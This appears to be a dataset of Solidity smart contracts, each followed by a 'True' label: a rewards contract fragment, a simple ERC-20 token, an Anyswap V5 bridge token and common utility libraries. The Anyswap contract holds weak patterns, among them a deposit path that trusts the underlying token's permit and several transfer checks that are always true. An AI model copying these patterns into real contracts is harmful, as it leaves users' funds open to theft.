uint256 _timeSinceLastUpdate = lastTimeRewardApplicable(_rewardToken) - lastUpdateTime[_rewardToken];
uint256 _rewardsSinceLastUpdate = _timeSinceLastUpdate * rewardRates[_rewardToken];
uint256 _rewardsPerTokenSinceLastUpdate = (_rewardsSinceLastUpdate * 1e18) / _totalSupply;
return rewardPerTokenStored[_rewardToken] + _rewardsPerTokenSinceLastUpdate;
}
function _updateReward(
address _rewardToken,
address _account,
uint256 _totalSupply,
uint256 _balance
) internal {
uint256 _rewardPerTokenStored = _rewardPerToken(_rewardToken, _totalSupply);
rewardPerTokenStored[_rewardToken] = _rewardPerTokenStored;
lastUpdateTime[_rewardToken] = lastTimeRewardApplicable(_rewardToken);
if (_account != address(0)) {
rewards[_rewardToken][_account] = _claimable(_rewardToken, _account, _totalSupply, _balance);
userRewardPerTokenPaid[_rewardToken][_account] = _rewardPerTokenStored;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "../PoolRewards.sol";
import "../../interfaces/vesper/IVesperPool.sol";
contract VesperEarnDrip is PoolRewards {
/**
* @dev Notify that reward is added.
* Also updates reward rate and reward earning period.
*/
function notifyRewardAmount(
address _rewardToken,
uint256 _rewardAmount,
uint256 _rewardDuration
) external override {
(bool isStrategy, , , , , , , ) = IVesperPool(pool).strategy(msg.sender);
require(msg.sender == IVesperPool(pool).governor() || isStrategy, "not-authorized");
super._notifyRewardAmount(_rewardToken, _rewardAmount, _rewardDuration, IVesperPool(pool).totalSupply());
}
}
|
True
|
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// SPDX-License-Identifier: BS"D DMICV
pragma solidity ^0.8.4;
contract QabbalahBit {
string public name = "QabbalahBit";
string public symbol = "QBIT";
uint256 public totalSupply = 600000000000000000000000; // Six hundred thousand tokens
uint8 public decimals = 18;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() {
balanceOf[msg.sender] = totalSupply;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool success) {
require(_value <= balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
|
True
|
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] |
/**
*Submitted for verification at BscScan.com on 2021-06-15
*/
/**
*Submitted for verification at BscScan.com on 2021-06-11
*/
/**
*Submitted for verification at polygonscan.com on 2021-06-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC2612 standard as defined in the EIP.
*
* Adds the {permit} method, which can be used to change one's
* {IERC20-allowance} without having to send a transaction, by signing a
* message. This allows users to spend tokens without having to hold Ether.
*
* See https://eips.ethereum.org/EIPS/eip-2612.
*/
interface IERC2612 {
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
}
/// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV5ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
uint public pendingDelay;
uint public delayDelay;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setMinter(address _auth) external onlyVault {
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function setVault(address _vault) external onlyVault {
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeVault(vault, pendingVault, delayVault);
return true;
}
function changeMPCOwner(address newVault) public onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeMPCOwner(vault, pendingVault, delayVault);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogChangeMPCOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveHeight);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
event LogAddAuth(address indexed auth, uint timestamp);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function depositWithPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).permit(target, address(this), value, deadline, v, r, s);
IERC20(underlying).safeTransferFrom(target, address(this), value);
return _deposit(value, to);
}
function depositWithTransferPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).transferWithPermit(target, address(this), value, deadline, v, r, s);
return _deposit(value, to);
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal view returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hash));
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
